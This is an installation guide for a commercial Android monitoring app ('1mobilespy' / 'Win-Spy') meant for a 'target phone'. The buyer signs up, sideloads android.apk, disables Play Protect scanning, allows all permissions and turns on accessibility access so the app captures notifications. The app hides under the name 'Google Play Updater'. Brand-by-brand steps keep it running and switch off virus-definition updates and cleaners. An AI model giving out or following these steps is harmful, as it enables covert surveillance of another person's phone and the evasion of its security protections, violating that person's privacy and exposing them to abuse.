INSTALLATION GUIDE FOR MOBILE PHONE

1. Prerequisites

Android OS >= 4.4
Data plan of at least 1GB recommended,

2. Sign-Up

Open your browser and Sign-Up the User.
Click here to Sign-Up
Username: Important, Enter the Purchasers Email Address. Do not use any other email address.
Password: Enter password of your choice. This password is used to access the web interface.
OrderNumber: Enter the Order # from the Welcome Email. 4 digit order number

After Sign Up. Check your email for verification link. Click on the verification link.
If you are not able to click on the link then copy paste link to Google Chrome. This is a Important step.

3. Installation

3.1) Enable unknown sources. (Only Android <= 7.1)
Note: in order to install the application, you must enable unknown sources on your phone if it is not already.

On Phone Check Settings - Security - Unknown sources. And allow it to download it from unknown sources.
3.2) Disable Package Verifier. (Only Android <= 7.1)
Go to google Play Store - Settings - Play Protect and Turn Off Scan Device for Security threats.
3.4) Install APK on mobile phone.
Login to http://www.1mobilespy.com - Click Here
On Menu bar – Download and Run the android.apk file on target phone you wish to monitor.

4. Configure the Application

Run the android.apk on the phone.
Set permissions to ALLOW for all

4.1) Setup Phone ID.
Name: give any name it identify the remote phone. example: Tom, Harry, Jane
Email Address: this is the email address you used to register..

4.2) Allow Background Data Usage.
Now go to Settings - Apps - Google Play Updater - Mobile data - (Turn ON) Allow Background Data Usage and Allow App while Data Saver On (Turn On).
This will allow the app to use mobile data in the background.

4.3) Allow for Notifications.
Now go to Settings - Accessibility - Google Play Updater - (Turn it ON). This will allow the app to capture Notifications.

5. Make application trusted / Protecting application (Important step for the application not to be stopped)


• SAMSUNG (Android >= 7)
Open « Settings » => « Device maintenance » => « Battery » In the Unmonitored apps Section (bottom) Click on « Unmonitored apps » Click on « Add apps » Select « Google Play Updater » and DONE

• SAMSUNG (Android <= 6)
Open « Settings » => « Battery » In the App Power Saving Mode Click on « DETAIL » button Select « Google Play Updater » and choose « Turned off »

• OPPO
Open « Settings » => « Security Settings » Click on « Data Saving » Click on « Add apps that run in background» and select « Google Play Updater »

• HUAWEI/HONOR
Phone Manager => Power saving => Protected apps Make sure « Google Play Updater » is protected

• XIAOMI
Open Settings => Permissions => Autostart => « Google Play Updateri » => Enable
Open Settings => Permissions => Other permissions => « Google Play Updater » => Enabel All Options
Open Settings => Battery & Performance => Manage apps battery usage => Choose apps => « Google Play Updater » => Enable No restrictions
Open Security => Settings icon => Boost speed => Lock apps => Google Play Updater => Turn ON
Open Security => Settings icon => Cleaner => Remind to clean => Turn OFF
Open Security => Settings icon => Cleaner => Update automatically => Turn OFF
Open Security => Settings icon => Virus scan => Automatically update definitions => Turn OFF

• VIVO
Open iManager => App manager => Autostart manager => « Google Play Updater » => Enable

• INFINIX
Open XManager => Auto-start manager => « Google Play Updater » => Enable
Open XPower => Advanced settings => Power off screen and sleep => « Google Play Updater » => Enable

• SONY
Open « Settings » => « Battery » Select « STAMINA mode » Choose « Never »

• HTC
Open « Settings » => « Power » Select « Extreme power saving mode » => Turn OFF

• ASUS
Open « Auto-start Manager » Select « Google Play Updater » => Turn ON



7. How to Remove Win-Spy App ?

1- Settings => Security => Device administrators => Google Play Updater
2- Settings => Apps => Google Play Updater => Uninstall.
3) Login to your dashboard and Remove the User associated with the phone you uninstalled.
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